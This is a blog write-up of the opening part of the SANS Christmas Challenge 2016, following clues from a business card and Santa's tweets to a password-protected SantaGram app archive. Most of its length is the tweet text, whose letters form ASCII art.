SANS Christmas Challenge 2016
Posted on jeu. 05 janvier 2017 in Write-up
This blog is beginning to look a lot like being exclusively about SANS Christmas Challenges write-ups. What can I say, they're so good! Anyway, let's roll for the 2016 edition of this marvelous Christmas Challenge.
Everything starts again with the Dosis children. As they're reminiscing on last year's Christmas, they hear Santa Claus landing on their roof, getting down the chimney, and starting leaving presents in their living room. Then, suddenly, they hear fighting sounds from downstairs. When they get down, everything is destroyed, as if people had been fighting. But no trace of Santa Claus, only a business card, which we can find in the Dosis' living room...
Table of contents
Part 1: A Most Curious Business Card
In the Dosis' living room, we find the business card of a certain Santa W. Claus:
We now have Santa's Twitter an Instagram accounts. We also see that Santa has left his present bag behind. By going to it, we can see that it's in fact a portal to the North Pole. Here, we can ask around for information on Santa to his elves. We learn that they're running a bug bounty program called SantaGram. To participate into this bug bounty program, we must find the Android application.
By talking to Pepper Minstix, we get a link to a copy of the Dungeon video game. We now know what servers the elves are using to exchange files. Let's see if we can find a copy of SantaGram on this server.
If we look back at Santa's Instagram account, we can see a photo of one of the elves' desktop. If we zoom in, we can see that this elf was building a copy of the coveted SantaGram Android application:
With the name of the ZIP archive on the screenshot, we can download the SantaGram application at this URL.
You can download the ZIP file here (sha256: 51c3d144ffb25d06316bdd309a5e8a24cadb7592aace91036bd61f2f0c7440e5
).
Unfortunately, the archive is password protected:
$ unzip SantaGram_v4.2.zip
Archive: SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password:
Let's take a look at Santa's tweets, to see if we can find a clue:
Hmm, just a bunch of nonsense. Or is it? If we get the content of every tweet, and paste them in a text file, we get the following string:
SANTAELFHOHOHOCHRISTMASSANTACHRISTMASPEACEONEARTHCHRISTMASELFSANTAELFHOHOHO GOODWILLTOWARDSMENSANTAPEACEONEARTHHOHOHOJOYSANTAGOODWILLTOWARDSMENJOYJOYQQ GOODWILLTOWARDSMENGOODWILLTOWARDSMENJOYHOHOHOJOYELFELFPEACEONEARTHJOYHOHOHO GOODWILLTOWARDSMENSANTACHRISTMASCHRISTMASPEACEONEARTHNORTHPOLEHOHOHOELFELFQ JOYNORTHPOLECHRISTMASPEACEONEARTHNORTHPOLEJOYGOODWILLTOWARDSMENELFCHRISTMAS CHRISTMASGOODWILLTOWARDSMENELFHOHOHOCHRISTMASPEACEONEARTHPEACEONEARTHJOYELF HOHOHOGOODWILLTOWARDSMENNORTHPOLEGOODWILLTOWARDSMENSANTAPEACEONEARTHELFELFQ GOODWILLTOWARDSMENP???????????????????????????????4CHRISTMASJOYELFELFSANTAQ NORTHPOLEHOHOHOELFf...............................]PEACEONEARTHHOHOHOSANTAQ SANTASANTAJOYELFQQf...............................]PEACEONEARTHCHRISTMASELF CHRISTMASELFELFJOYf...............................]HOHOHOSANTAHOHOHOELFJOYQ SANTASANTAJOYJOYQQf...............................]GOODWILLTOWARDSMENHOHOHO NORTHPOLEELFELFELFf...............................]PEACEONEARTHHOHOHOSANTAQ NORTHPOLECHRISTMASf...............................]PEACEONEARTHCHRISTMASJOY PEACEONEARTHSANTAQf...............................]PEACEONEARTHNORTHPOLEELF JOYCHRISTMASSANTAQf...............................]CHRISTMASHOHOHOCHRISTMAS NORTHPOLEHOHOHOJOYf...............................]PEACEONEARTHPEACEONEARTH SANTAELFELFJOYJOYQf.......aaaaaa/....._aaaaa......]PEACEONEARTHNORTHPOLEELF GOODWILLTOWARDSMENf.......QQWQWQf.....]ELFWQ......]HOHOHOHOHOHOCHRISTMASJOY NORTHPOLESANTAJOYQf.......HOHOHOf.....]JOYQQ......]CHRISTMASCHRISTMASHOHOHO NORTHPOLEELFJOYJOYf.......SANTAQf.....]JOYQQ......]NORTHPOLEPEACEONEARTHELF SANTAPEACEONEARTHQf.......HOHOHOf.....]SANTA......]PEACEONEARTHCHRISTMASELF ELFSANTASANTAJOYQQf.......HOHOHOf.....]JOYQW......]CHRISTMASPEACEONEARTHJOY JOYHOHOHONORTHPOLEf.......SANTAQ[.....)ELFQE......]PEACEONEARTHPEACEONEARTH HOHOHOCHRISTMASJOYf.......$WJOYQ(......$WQQ(......]GOODWILLTOWARDSMENSANTAQ JOYPEACEONEARTHELFf.......)JOYQ@........??'.......]SANTAPEACEONEARTHHOHOHOQ JOYJOYPEACEONEARTHL........?$QV'..................]CHRISTMASJOYNORTHPOLEJOY SANTAJOYCHRISTMASQk...............................jGOODWILLTOWARDSMENJOYJOY GOODWILLTOWARDSMENW...............................jJOYNORTHPOLEJOYELFSANTAQ HOHOHOSANTAJOYELFQQ...............................GOODWILLTOWARDSMENHOHOHOQ CHRISTMASSANTASANTA;................;............=JOYNORTHPOLEPEACEONEARTHQ GOODWILLTOWARDSMENQL...............)L............jHOHOHOHOHOHOCHRISTMASELFQ CHRISTMASHOHOHOELFQQ...............dQ,..........<GOODWILLTOWARDSMENHOHOHOQQ GOODWILLTOWARDSMENQQL.............<QQm,........_HOHOHOHOHOHOCHRISTMASELFELF SANTACHRISTMASELFELFQc..........._mJOYQc......aPEACEONEARTHCHRISTMASSANTAQQ CHRISTMASPEACEONEARTHQw........._mSANTAWmwaawGOODWILLTOWARDSMENSANTAJOYELFQ PEACEONEARTHELFSANTAELFQw,,..__yHOHOHOELFQWQQWGOODWILLTOWARDSMENHOHOHOSANTA ELFHOHOHONORTHPOLEELFJOYWGOODWILLTOWARDSMENCHRISTMASSANTACHRISTMASJOYSANTAQ ELFELFHOHOHOHOHOHOHOHOHONORTHPOLEJOYHOHOHOGOODWILLTOWARDSMENELFELFELFSANTAQ ELFHOHOHOJOYPEACEONEARTHPEACEONEARTHJOYGOODWILLTOWARDSMENJOYELFPEACEONEARTH GOODWILLTOWARDSMENJOYGOODWILLTOWARDSMENGOODWILLTOWARDSMENSANTAELFJOYJOYJOYQ ELFSANTAPEACEONEARTHJOYJOYQQDT????????????????????4NORTHPOLEPEACEONEARTHELF NORTHPOLENORTHPOLESANTAQWT^.......................]NORTHPOLEELFHOHOHOJOYELF HOHOHOHOHOHOCHRISTMASQQP`.........................]JOYGOODWILLTOWARDSMENELF ELFPEACEONEARTHSANTAQQ(...........................]HOHOHOSANTACHRISTMASJOYQ JOYJOYCHRISTMASELFJOY(............................]GOODWILLTOWARDSMENHOHOHO CHRISTMASELFELFELFQQf.............................]HOHOHONORTHPOLEJOYELFJOY SANTACHRISTMASJOYQQD..............................]HOHOHOHOHOHOSANTASANTAQQ HOHOHOELFSANTAELFQQ(..............................]GOODWILLTOWARDSMENHOHOHO GOODWILLTOWARDSMENW...............................]NORTHPOLEHOHOHOHOHOHOJOY CHRISTMASHOHOHOJOYF...............................]GOODWILLTOWARDSMENSANTAQ CHRISTMASCHRISTMAS[.........._aaaaaaaaaaaaaaaaaaaajPEACEONEARTHELFNORTHPOLE SANTANORTHPOLEELFQ(........jJOYQWQWWQWWQWWWWWWWWWGOODWILLTOWARDSMENHOHOHOQQ ELFPEACEONEARTHELF;.......jWWSANTAGOODWILLTOWARDSMENSANTAGOODWILLTOWARDSMEN ELFJOYNORTHPOLEJOY`.......QWGOODWILLTOWARDSMENGOODWILLTOWARDSMENCHRISTMASQQ PEACEONEARTHJOYELF.......]WPEACEONEARTHCHRISTMASNORTHPOLEPEACEONEARTHHOHOHO CHRISTMASJOYHOHOHO.......]HOHOHOELFGOODWILLTOWARDSMENPEACEONEARTHCHRISTMASQ JOYCHRISTMASJOYELF.......]PEACEONEARTHCHRISTMASGOODWILLTOWARDSMENELFHOHOHOQ JOYPEACEONEARTHJOY.......)WGOODWILLTOWARDSMENSANTANORTHPOLEJOYPEACEONEARTHQ CHRISTMASHOHOHOELF........$WPEACEONEARTHNORTHPOLESANTAPEACEONEARTHSANTAJOYQ JOYHOHOHOELFELFJOY;.......-QWCHRISTMASGOODWILLTOWARDSMENPEACEONEARTHJOYELFQ HOHOHOCHRISTMASJOY(........-?$QWJOYCHRISTMASSANTACHRISTMASCHRISTMASHOHOHOQQ ELFJOYELFCHRISTMASf...............................]PEACEONEARTHNORTHPOLEJOY ELFHOHOHOSANTAELFQh...............................]GOODWILLTOWARDSMENHOHOHO SANTACHRISTMASELFQQ,..............................]PEACEONEARTHPEACEONEARTH GOODWILLTOWARDSMENQL..............................]HOHOHOELFCHRISTMASSANTAQ GOODWILLTOWARDSMENQQ,.............................]PEACEONEARTHELFHOHOHOJOY NORTHPOLESANTAHOHOHOm.............................]HOHOHOGOODWILLTOWARDSMEN PEACEONEARTHCHRISTMASg............................]ELFHOHOHOSANTANORTHPOLEQ NORTHPOLECHRISTMASJOYQm,..........................]NORTHPOLECHRISTMASSANTAQ SANTASANTACHRISTMASSANTAw,........................]GOODWILLTOWARDSMENSANTAQ GOODWILLTOWARDSMENHOHOHOWQga,,....................]PEACEONEARTHPEACEONEARTH PEACEONEARTHJOYCHRISTMASELFWCHRISTMASGOODWILLTOWARDSMENJOYPEACEONEARTHSANTA PEACEONEARTHPEACEONEARTHCHRISTMASJOYSANTAPEACEONEARTHCHRISTMASELFHOHOHOELFQ GOODWILLTOWARDSMENNORTHPOLECHRISTMASPEACEONEARTHHOHOHOELFJOYNORTHPOLEELFELF JOYGOODWILLTOWARDSMENSANTACHRISTMASJOYPEACEONEARTHHOHOHOELFCHRISTMASHOHOHOQ HOHOHOCHRISTMASHOHOHOSANTANORTHPOLEPEACEONEARTHJOYPEACEONEARTHJOYJOYHOHOHOQ JOYELFGOODWILLTOWARDSMENSANTAQBTT???TT$SANTASANTAPEACEONEARTHNORTHPOLEJOYQQ SANTACHRISTMASCHRISTMASJOYWP"`.........-"9NORTHPOLEPEACEONEARTHCHRISTMASELF SANTAELFELFELFSANTAJOYQQWP`...............-4JOYSANTANORTHPOLEJOYSANTASANTAQ ELFELFELFHOHOHOHOHOHOQQ@'..................."$CHRISTMASELFSANTANORTHPOLEELF ELFCHRISTMASSANTAELFQQP`.....................-$WELFWPEACEONEARTHSANTASANTAQ SANTANORTHPOLEJOYELFQE........................-$SANTAELFWGOODWILLTOWARDSMEN NORTHPOLEELFELFELFQQ@`.........................-QWPEACEONEARTHPEACEONEARTHQ PEACEONEARTHJOYJOYQQ(...........................]CHRISTMASHOHOHOELFSANTAJOY HOHOHOCHRISTMASELFQP.............................$NORTHPOLEJOYQWJOYWJOYWELF SANTACHRISTMASJOYQQ(.............................]WSANTAWPEACEONEARTHJOYELF HOHOHOSANTAJOYELFQW............_aaaas,............QWCHRISTMASQWHOHOHOSANTAQ SANTAPEACEONEARTHQf........._wELFWWWWQQw,.........3ELFHOHOHOJOYJOYSANTAELFQ CHRISTMASSANTAELFQ[........<HOHOHOELFELFQc........]CHRISTMASPEACEONEARTHELF CHRISTMASCHRISTMAS(......._PEACEONEARTHJOY/.......)NORTHPOLESANTAELFQWELFWQ PEACEONEARTHSANTAQ`.......dNORTHPOLEHOHOHOm.......:NORTHPOLEWCHRISTMASJOYQQ PEACEONEARTHELFELF........SANTANORTHPOLEJOY;.......SANTASANTAJOYQWSANTAJOYQ PEACEONEARTHSANTAQ.......]ELFSANTAJOYJOYELF[.......GOODWILLTOWARDSMENSANTAQ GOODWILLTOWARDSMEN.......]ELFNORTHPOLEJOYQQf.......ELFSANTAJOYHOHOHOQQWELFQ GOODWILLTOWARDSMEN.......]ELF.......]JOYELF[.......PEACEONEARTHPEACEONEARTH HOHOHOJOYNORTHPOLE.......]JOY.......]SANTAQ'.......SANTASANTAQQWNORTHPOLEQQ CHRISTMASNORTHPOLE:......)WQQ.......]SANTAD........NORTHPOLESANTAELFWELFJOY ELFCHRISTMASSANTAQ;......-JOY.......]ELFQW'.......:PEACEONEARTHCHRISTMASJOY CHRISTMASSANTAELFQ[.......WQQ.......]ELFD'........=HOHOHOGOODWILLTOWARDSMEN ELFELFSANTAJOYELFQL.......]QQ.......]ELF..........]PEACEONEARTHQWCHRISTMASQ NORTHPOLESANTAELFQm.......+QQ.......]ELF;.........jWNORTHPOLENORTHPOLEELFWQ JOYELFHOHOHOSANTAQQ.................]JOY[.........mCHRISTMASCHRISTMASQQWELF NORTHPOLENORTHPOLEQ[................]JOYL........_PEACEONEARTHSANTASANTAELF SANTANORTHPOLEJOYQQm................]ELFk........dHOHOHOPEACEONEARTHQQWJOYQ PEACEONEARTHHOHOHOQQc...............]JOYm.......]PEACEONEARTHHOHOHOWHOHOHOQ CHRISTMASHOHOHOJOYQQm...............]ELFQ......_GOODWILLTOWARDSMENNORTHPOLE JOYELFNORTHPOLEJOYELFL..............]JOYQ;....<SANTAHOHOHONORTHPOLEELFSANTA PEACEONEARTHELFHOHOHOQ,.............]JOYQ[...wPEACEONEARTHELFSANTAWHOHOHOQQ CHRISTMASELFELFELFJOYQ6.............]ELFQL_wPEACEONEARTHHOHOHOCHRISTMASELFQ HOHOHOJOYNORTHPOLEQWELFwaaaaaaaaaaaajPEACEONEARTHGOODWILLTOWARDSMENSANTAQWQ CHRISTMASELFPEACEONEARTHWWWQWWQWWWWELFELFSANTANORTHPOLESANTAELFQQWJOYHOHOHO CHRISTMASNORTHPOLEHOHOHOHOHOHOCHRISTMASGOODWILLTOWARDSMENNORTHPOLEHOHOHOWQQ GOODWILLTOWARDSMENNORTHPOLENORTHPOLESANTANORTHPOLEJOYSANTAELFELFWCHRISTMASQ GOODWILLTOWARDSMENHOHOHOHOHOHONORTHPOLEELFSANTAELFNORTHPOLEPEACEONEARTHELFQ PEACEONEARTHELFELFQWPEACEONEARTHPEACEONEARTHHOHOHOPEACEONEARTHWNORTHPOLEWQQ ELFPEACEONEARTHCHRISTMASELFPEACEONEARTHJOYNORTHPOLEGOODWILLTOWARDSMENSANTAQ SANTASANTASANTAJOYELFJOYWGOODWILLTOWARDSMENPEACEONEARTHSANTAWPEACEONEARTHQQ PEACEONEARTHSANTAJOYGOODWILLTOWARDSMENSANTACHRISTMASELFCHRISTMASELFJOYQWELF CHRISTMASCHRISTMASELFELFHOHOHOWJOYWNORTHPOLESANTACHRISTMASWSANTAJOYQQWJOYQQ ELFJOYSANTAJOYJOYQQWJOYWPEACEONEARTHNORTHPOLEHOHOHOHOHOHONORTHPOLEELFJOYELF ELFNORTHPOLEJOYSANTANORTHPOLECHRISTMASQQWPEACEONEARTHJOYQWHOHOHOJOYWJOYELFQ NORTHPOLECHRISTMASHOHOHOSANTAWPEACEONEARTHGOODWILLTOWARDSMENCHRISTMASHOHOHO GOODWILLTOWARDSMENSANTACHRISTMASSANTAQQWELFHOHOHOSANTAQQWJOYSANTAQWSANTAJOY JOYNORTHPOLEJOYPEACEONEARTHWELFELFQQWNORTHPOLEQWHOHOHONORTHPOLEELFELFHOHOHO CHRISTMASSANTASANTAWJOYWCHRISTMASHOHOHONORTHPOLEJOYQQWHOHOHOSANTAWNORTHPOLE PEACEONEARTHSANTASANTAPEACEONEARTHNORTHPOLEJOYJOYJOYELFCHRISTMASHOHOHOSANTA SANTASANTACHRISTMASJOYJOYJOYELFJOYQWHOHOHOJOYQWPEACEONEARTHELFQQWCHRISTMASQ GOODWILLTOWARDSMENELFPEACEONEARTHHOHOHOCHRISTMASELFQWHOHOHOWCHRISTMASHOHOHO CHRISTMASELFELFPEACEONEARTHWELFQQWHOHOHOQQWCHRISTMASELFJOYNORTHPOLEHOHOHOQQ SANTAPEACEONEARTHQQWJOYWCHRISTMASHOHOHOPEACEONEARTHGOODWILLTOWARDSMENJOYQWQ JOYJOYHOHOHOELFELFP???????????????????????????????4SANTAQQWPEACEONEARTHELFQ NORTHPOLENORTHPOLEf...............................]PEACEONEARTHQQWHOHOHOWQQ CHRISTMASJOYHOHOHOf...............................]ELFGOODWILLTOWARDSMENELF NORTHPOLEELFELFELFf...............................]PEACEONEARTHHOHOHOQQWELF NORTHPOLEHOHOHOELFf...............................]CHRISTMASJOYQWSANTASANTA SANTAJOYNORTHPOLEQf...............................]SANTAHOHOHOWJOYCHRISTMAS GOODWILLTOWARDSMENf...............................]PEACEONEARTHHOHOHOQWJOYQ ELFPEACEONEARTHELFf...............................]GOODWILLTOWARDSMENHOHOHO JOYCHRISTMASELFELFf...............................]GOODWILLTOWARDSMENSANTAQ GOODWILLTOWARDSMENf...............................]NORTHPOLEPEACEONEARTHJOY ELFSANTAHOHOHOELFQf.......aaaaaa/....._aaaaa......]GOODWILLTOWARDSMENWELFQQ NORTHPOLEHOHOHOELFf.......QWWWWQf.....]QQWWQ......]HOHOHOHOHOHOQQWJOYSANTAQ SANTANORTHPOLEJOYQf.......HOHOHOf.....]JOYQQ......]HOHOHOHOHOHONORTHPOLEELF NORTHPOLEJOYJOYELFf.......JOYELFf.....]SANTA......]NORTHPOLEHOHOHONORTHPOLE SANTASANTASANTAELFf.......JOYELFf.....]SANTA......]NORTHPOLENORTHPOLEELFELF GOODWILLTOWARDSMENf.......JOYJOYf.....]JOYQW......]PEACEONEARTHHOHOHOQWELFQ GOODWILLTOWARDSMENf.......HOHOHO[.....)JOYQE......]HOHOHOELFHOHOHOQQWJOYJOY JOYNORTHPOLEELFELFf.......$WELFQ(......$WQQ(......]PEACEONEARTHNORTHPOLEELF NORTHPOLEJOYELFJOYf.......)ELFQ@........??'.......]CHRISTMASPEACEONEARTHJOY SANTAPEACEONEARTHQL........?$QV'..................]HOHOHOGOODWILLTOWARDSMEN JOYELFPEACEONEARTHk...............................jJOYSANTACHRISTMASWJOYJOY SANTAPEACEONEARTHQW...............................jSANTAGOODWILLTOWARDSMENQ CHRISTMASSANTAELFQQ...............................HOHOHOPEACEONEARTHSANTAQQ ELFCHRISTMASELFELFQ;................;............=NORTHPOLENORTHPOLEJOYELFQ NORTHPOLEJOYSANTAQQ[...............)L............jPEACEONEARTHJOYHOHOHOQQWQ CHRISTMASHOHOHOJOYQm...............dQ,..........<GOODWILLTOWARDSMENQWSANTAQ SANTACHRISTMASSANTAQL.............<QQm,........_JOYELFGOODWILLTOWARDSMENELF HOHOHOSANTASANTAJOYQQc..........._mELFQc......aGOODWILLTOWARDSMENSANTAJOYWQ CHRISTMASHOHOHOJOYJOYQw........._mELFQQWmwaawGOODWILLTOWARDSMENNORTHPOLEELF NORTHPOLEELFPEACEONEARTHw,,..__yELFJOYJOYQWQWQWGOODWILLTOWARDSMENCHRISTMASQ JOYNORTHPOLEELFNORTHPOLEWGOODWILLTOWARDSMENNORTHPOLEJOYJOYJOYSANTAQQWELFWQQ JOYSANTAELFHOHOHOQQWNORTHPOLENORTHPOLEGOODWILLTOWARDSMENSANTASANTAHOHOHOJOY ELFHOHOHOCHRISTMASCHRISTMASELFPEACEONEARTHHOHOHOELFCHRISTMASHOHOHOELFJOYELF JOYPEACEONEARTHJOYNORTHPOLEGOODWILLTOWARDSMENHOHOHONORTHPOLEHOHOHOELFELFJOY HOHOHOPEACEONEARTHELFJOYJOYQV?"~....--"?$CHRISTMASELFWPEACEONEARTHQWHOHOHOQ CHRISTMASCHRISTMASJOYELFWW?`.............-?CHRISTMASHOHOHOQWELFWSANTAJOYWQQ SANTAPEACEONEARTHQQWELFQP`.................-4HOHOHOWCHRISTMASNORTHPOLESANTA CHRISTMASNORTHPOLEJOYQW(.....................)WGOODWILLTOWARDSMENNORTHPOLEQ GOODWILLTOWARDSMENJOYW'.......................)WSANTAJOYQQWNORTHPOLEHOHOHOQ JOYNORTHPOLEHOHOHOJOY(.........................)PEACEONEARTHSANTAELFWJOYWQQ GOODWILLTOWARDSMENQQf...........................4PEACEONEARTHELFQWCHRISTMAS NORTHPOLEHOHOHOELFQW`...........................-HOHOHOWCHRISTMASCHRISTMASQ GOODWILLTOWARDSMENQf.............................]JOYJOYSANTAELFWCHRISTMASQ HOHOHONORTHPOLEJOYQ`.............................-HOHOHOELFQWCHRISTMASSANTA ELFELFELFJOYHOHOHOE.........._wwQWQQmga,..........$GOODWILLTOWARDSMENJOYWQQ NORTHPOLECHRISTMASf........_yJOYWSANTAQQg,........]PEACEONEARTHPEACEONEARTH SANTANORTHPOLEJOYQ[......._ELFELFSANTAELFQ,.......]CHRISTMASSANTASANTAWJOYQ CHRISTMASCHRISTMAS;.......dPEACEONEARTHJOYk.......=JOYJOYHOHOHOQWJOYWHOHOHO ELFNORTHPOLEELFELF......._HOHOHOCHRISTMASQQ,.......NORTHPOLEQWSANTASANTAELF PEACEONEARTHJOYJOY.......]PEACEONEARTHJOYQQ[.......GOODWILLTOWARDSMENELFJOY HOHOHOELFNORTHPOLE.......]PEACEONEARTHSANTAf.......NORTHPOLEHOHOHOHOHOHOELF ELFSANTAELFHOHOHOQ.......]NORTHPOLEHOHOHOQQ[.......GOODWILLTOWARDSMENHOHOHO CHRISTMASCHRISTMAS.......)PEACEONEARTHJOYQQ(.......HOHOHOHOHOHOSANTAWHOHOHO SANTASANTAELFJOYQQ........HOHOHOCHRISTMASQ@.......:NORTHPOLEELFQWSANTASANTA CHRISTMASCHRISTMAS;.......]PEACEONEARTHELF[.......<HOHOHOSANTANORTHPOLEQQWQ HOHOHOPEACEONEARTH[........4HOHOHOJOYELFQf........]PEACEONEARTHHOHOHOHOHOHO CHRISTMASCHRISTMASL........."HWJOYSANTAD^.........jNORTHPOLENORTHPOLEHOHOHO GOODWILLTOWARDSMENm............"!???!"`...........NORTHPOLEHOHOHOWJOYQWELFQ CHRISTMASJOYELFELFQ/.............................]WNORTHPOLECHRISTMASHOHOHO SANTAJOYCHRISTMASQQk.............................dPEACEONEARTHELFELFHOHOHOQ SANTAPEACEONEARTHJOY/...........................<NORTHPOLECHRISTMASHOHOHOQQ ELFSANTASANTASANTAQQm...........................mJOYELFSANTAPEACEONEARTHELF CHRISTMASCHRISTMASELFk.........................jGOODWILLTOWARDSMENQWJOYWELF ELFJOYCHRISTMASJOYJOYQL.......................jNORTHPOLENORTHPOLEJOYJOYJOYQ ELFELFJOYSANTAJOYELFELFg,..................._yGOODWILLTOWARDSMENQQWSANTAELF PEACEONEARTHJOYELFQWSANTAc.................aQWCHRISTMASHOHOHOSANTAJOYHOHOHO SANTAJOYJOYPEACEONEARTHELFQa,..........._wQWWHOHOHOSANTAJOYELFQQWJOYSANTAQQ HOHOHOELFJOYPEACEONEARTHQQWJOYmwwaaaawyJOYWCHRISTMASHOHOHOPEACEONEARTHJOYWQ ELFCHRISTMASSANTASANTASANTAJOYQQWWWWQWGOODWILLTOWARDSMENJOYELFQWCHRISTMASQQ SANTAHOHOHOELFPEACEONEARTHGOODWILLTOWARDSMENJOYPEACEONEARTHSANTASANTAJOYWQQ HOHOHOJOYELFJOYELFQWGOODWILLTOWARDSMENPEACEONEARTHGOODWILLTOWARDSMENELFELFQ NORTHPOLEJOYJOYELFHOHOHOWPEACEONEARTHNORTHPOLECHRISTMASHOHOHOQWELFJOYQQWJOY GOODWILLTOWARDSMENSANTAJOYNORTHPOLENORTHPOLEHOHOHOHOHOHOGOODWILLTOWARDSMENQ CHRISTMASJOYSANTANORTHPOLEV?"-....................]GOODWILLTOWARDSMENQWJOYQ GOODWILLTOWARDSMENSANTAW?`........................]GOODWILLTOWARDSMENSANTAQ HOHOHOELFJOYJOYELFQWQQD'..........................]HOHOHONORTHPOLEQWHOHOHOQ PEACEONEARTHHOHOHOJOYP`...........................]SANTAJOYELFWHOHOHOHOHOHO PEACEONEARTHHOHOHOQQD`............................]JOYPEACEONEARTHSANTAELFQ PEACEONEARTHHOHOHOQW'.............................]CHRISTMASJOYELFQWHOHOHOQ ELFPEACEONEARTHELFQf..............................]PEACEONEARTHELFNORTHPOLE SANTACHRISTMASJOYQQ`..............................]NORTHPOLEQQWNORTHPOLEQWQ CHRISTMASHOHOHOELFE...............................]SANTAGOODWILLTOWARDSMENQ GOODWILLTOWARDSMENf...............................]GOODWILLTOWARDSMENSANTAQ ELFCHRISTMASELFJOY[.........amWNORTHPOLEGOODWILLTOWARDSMENJOYJOYJOYQWELFWQQ PEACEONEARTHJOYJOY(......._QQWHOHOHOWJOYWPEACEONEARTHPEACEONEARTHNORTHPOLEQ NORTHPOLEELFELFJOY`.......mSANTAQQWCHRISTMASQQWGOODWILLTOWARDSMENQQWHOHOHOQ JOYSANTANORTHPOLEQ`......=CHRISTMASPEACEONEARTHSANTANORTHPOLENORTHPOLESANTA NORTHPOLESANTAJOYQ.......]NORTHPOLEPEACEONEARTHELFHOHOHOGOODWILLTOWARDSMENQ ELFNORTHPOLESANTAQ.......]GOODWILLTOWARDSMENQWELFJOYPEACEONEARTHCHRISTMASQQ HOHOHONORTHPOLEJOY.......]GOODWILLTOWARDSMENJOYJOYQWPEACEONEARTHJOYWSANTAWQ PEACEONEARTHJOYELF.......-QWSANTAELFWSANTAWHOHOHOPEACEONEARTHCHRISTMASELFQQ CHRISTMASSANTAJOYQ........]SANTASANTASANTAGOODWILLTOWARDSMENPEACEONEARTHELF ELFHOHOHOCHRISTMAS;........?ELFJOYPEACEONEARTHELFQWGOODWILLTOWARDSMENHOHOHO GOODWILLTOWARDSMEN[.........-"????????????????????4ELFCHRISTMASHOHOHOQQWELF SANTASANTAJOYSANTAL...............................]HOHOHOQWJOYELFQQWJOYJOYQ NORTHPOLECHRISTMASQ...............................]NORTHPOLEELFQWJOYJOYELFQ SANTANORTHPOLEELFQWc..............................]GOODWILLTOWARDSMENSANTAQ JOYSANTACHRISTMASQQm..............................]ELFNORTHPOLECHRISTMASELF CHRISTMASSANTASANTAQL.............................]PEACEONEARTHWJOYJOYQQWQQ ELFNORTHPOLEHOHOHOJOYc............................]SANTACHRISTMASJOYELFJOYQ SANTAELFHOHOHOJOYJOYQQc...........................]PEACEONEARTHSANTAQQWJOYQ GOODWILLTOWARDSMENSANTAw,.........................]NORTHPOLEHOHOHONORTHPOLE NORTHPOLENORTHPOLEQWSANTAa,.......................]PEACEONEARTHWSANTAWJOYQQ SANTACHRISTMASHOHOHOELFELFQQgwaaaaaaaaaaaaaaaaaaaajCHRISTMASJOYPEACEONEARTH SANTAHOHOHOPEACEONEARTHSANTAQWWWWWWWWWWWWWWWWWWWWHOHOHOELFJOYCHRISTMASELFQQ NORTHPOLESANTASANTANORTHPOLESANTAPEACEONEARTHCHRISTMASELFHOHOHOELFJOYWJOYQQ JOYELFJOYNORTHPOLEPEACEONEARTHJOYGOODWILLTOWARDSMENPEACEONEARTHELFELFELFELF SANTAJOYCHRISTMASQQWELFWGOODWILLTOWARDSMENSANTANORTHPOLENORTHPOLEJOYWSANTAQ JOYPEACEONEARTHSANTAGOODWILLTOWARDSMENJOYPEACEONEARTHJOYELFJOYCHRISTMASJOYQ PEACEONEARTHJOYHOHOHOJOYHOHOHONORTHPOLEHOHOHOGOODWILLTOWARDSMENPEACEONEARTH SANTASANTAELFJOYQQP???????????????????????????????4PEACEONEARTHJOYQWSANTAQQ ELFELFHOHOHOHOHOHOf...............................]GOODWILLTOWARDSMENJOYELF SANTAJOYELFELFELFQf...............................]CHRISTMASNORTHPOLESANTAQ SANTAHOHOHOELFJOYQf...............................]GOODWILLTOWARDSMENELFELF GOODWILLTOWARDSMENf...............................]CHRISTMASCHRISTMASJOYQWQ JOYSANTAELFJOYELFQf...............................]PEACEONEARTHSANTAWHOHOHO CHRISTMASCHRISTMASf...............................]GOODWILLTOWARDSMENSANTAQ PEACEONEARTHSANTAQf...............................]HOHOHOHOHOHOJOYWHOHOHOWQ JOYELFHOHOHOJOYELFf...............................]GOODWILLTOWARDSMENHOHOHO SANTANORTHPOLEJOYQf...............................]PEACEONEARTHNORTHPOLEELF HOHOHOGOODWILLTOWARDSMENSANTAWJOYQ@'.............sPEACEONEARTHELFWCHRISTMAS GOODWILLTOWARDSMENHOHOHOCHRISTMASF............._yWWPEACEONEARTHELFELFJOYWQQ SANTAGOODWILLTOWARDSMENQQWELFQQ@'.............sQWGOODWILLTOWARDSMENJOYJOYQQ NORTHPOLECHRISTMASNORTHPOLEQQWF............._yQWELFELFELFSANTASANTAHOHOHOQQ NORTHPOLECHRISTMASELFQQWELFQ@'.............aWCHRISTMASELFPEACEONEARTHQQWELF SANTAHOHOHOHOHOHOJOYWSANTAQ?............._yQWPEACEONEARTHCHRISTMASQQWJOYJOY CHRISTMASSANTACHRISTMASQQ@'.............aJOYNORTHPOLESANTAELFHOHOHOSANTAELF SANTACHRISTMASNORTHPOLEW?............._yCHRISTMASCHRISTMASCHRISTMASHOHOHOQQ PEACEONEARTHHOHOHOQWQQD'.............aHOHOHOHOHOHONORTHPOLEHOHOHOELFWHOHOHO HOHOHOCHRISTMASELFELF!............._mGOODWILLTOWARDSMENCHRISTMASSANTASANTAQ JOYPEACEONEARTHELFQD'.............aCHRISTMASPEACEONEARTHSANTAHOHOHOWSANTAQQ NORTHPOLEJOYHOHOHOF.............."????????????????4PEACEONEARTHQQWHOHOHOELF HOHOHOELFSANTAELFQf...............................]SANTAQWJOYWNORTHPOLEELFQ HOHOHOPEACEONEARTHf...............................]PEACEONEARTHPEACEONEARTH JOYPEACEONEARTHELFf...............................]HOHOHOSANTASANTASANTAELF GOODWILLTOWARDSMENf...............................]PEACEONEARTHNORTHPOLEJOY NORTHPOLEHOHOHOELFf...............................]HOHOHOCHRISTMASWSANTAELF ELFSANTACHRISTMASQf...............................]SANTAJOYJOYQWSANTAJOYWQQ HOHOHONORTHPOLEJOYf...............................]PEACEONEARTHSANTAHOHOHOQ GOODWILLTOWARDSMENf...............................]CHRISTMASCHRISTMASSANTAQ PEACEONEARTHELFJOYf...............................]PEACEONEARTHJOYELFQQWJOY JOYSANTAPEACEONEARTHSANTAWQQWQQWGOODWILLTOWARDSMENCHRISTMASJOYSANTASANTAJOY ELFNORTHPOLESANTAELFHOHOHOJOYGOODWILLTOWARDSMENNORTHPOLECHRISTMASQWJOYWELFQ HOHOHOCHRISTMASSANTAJOYCHRISTMASHOHOHOSANTAELFQQWJOYHOHOHOJOYJOYELFJOYELFQQ 